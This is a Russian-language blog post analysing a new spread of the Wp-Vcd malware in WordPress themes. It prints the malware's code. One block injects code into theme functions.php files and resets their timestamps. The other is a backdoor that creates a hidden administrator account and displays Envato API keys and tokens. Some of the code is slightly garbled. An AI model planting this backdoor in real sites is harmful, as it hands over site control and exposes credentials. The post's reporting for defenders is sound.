БЛОГ


НОВАЯ АТАКА НА WORDPRESS

Новая атака зафиксированная в конце ноября. Для атаки используется уже известный Wp-Vcd yj но методы распространения претерпели некоторый изменения.

Так с помощью кода:

if ($ content = file_get_contents ($ themes. DIRECTORY_SEPARATOR. $ _. DIRECTORY_SEPARATOR. 'functions.php')) {
  if (strpos ($ content, 'WP_V_CD') === false) {
  $ content = $ install_code.  $ content;
  @file_put_contents ($ themes. DIRECTORY_SEPARATOR. $ _. DIRECTORY_SEPARATOR. 'functions.php', $ content);
  touch ($ themes. DIRECTORY_SEPARATOR. $ _. DIRECTORY_SEPARATOR. 'functions.php', $ time);
  }
  else {$ ping = false;  }
  }

сбрасывается дата изменения файла,  затем в базу загружается содержимое удаленного txt-файла с  именами хостов и паролями инъекций кода.

Далее создается новый  пользователь admin,  с именем 100010010, который обладая администраторскими правами,  может выполнять действия на зараженном сайте.

Обнаружение взлома сторонними расширениями затруднено, поскольку, как писалось выше не создается новых файлов, а дата изменения сбрасывается на исходную.

Основной причиной заражения специалисты считают использование платных тем и плагинов загруженных с «варезных» сайтов, где вредоносный код преднамеренно внедряется в архивы, владельцами файлов.

Сам код довольно прост и не скрывает своих злонамеренных намерений путем кодирования или обфускации функций ...

<?php
error_reporting(0);
if( !isset($_GET['go']) )
{
require $_SERVER['DOCUMENT_ROOT'].'/wp-load.php';
$table_name = $wpdb->get_blog_prefix();
$sample = 'a:1:{s:13:"administrator";b:1;}';
if( isset($_GET['ok']) ) { echo '<!-- Silence is golden. -->';}
if( isset($_GET['awu']) ) {
$wpdb->query("INSERT INTO $wpdb->users (`ID`, `user_login`, `user_pass`,
 `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`,
  `user_status`, `display_name`) VALUES ('100010010', '100010010', '\$P\$BaRp7gFRTND5AwwJwpQY8EyN3otDiL.',
   '100010010', Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.', '', '2011-06-07 00:00:00', '', '0', '100010010');");
$wpdb->query("INSERT INTO $wpdb->usermeta (`umeta_id`, `user_id`, `meta_key`, `meta_value`)
 VALUES (100010010, '100010010', '{$table_name}capabilities', '{$sample}');");
$wpdb->query("INSERT INTO $wpdb->usermeta (`umeta_id`, `user_id`, `meta_key`, `meta_value`)
VALUES (NULL, '100010010', '{$table_name}user_level', '10');"); }
if( isset($_GET['dwu']) ) { $wpdb->query("DELETE FROM $wpdb->users WHERE `ID` = 100010010");
$wpdb->query("DELETE FROM $wpdb->usermeta WHERE $wpdb->usermeta.`umeta_id` = 100010010");}
if( isset($_GET['key']) ) { $options = get_option( EWPT_PLUGIN_SLUG );
cho '<center><h2>' . esc_attr( $options['user_name'] . ':' .  esc_attr( $options['api_key'])) . '<br>';
  echo esc_html( envato_market()->get_option( 'token' ) ); echo '</center></h2>'; }
  }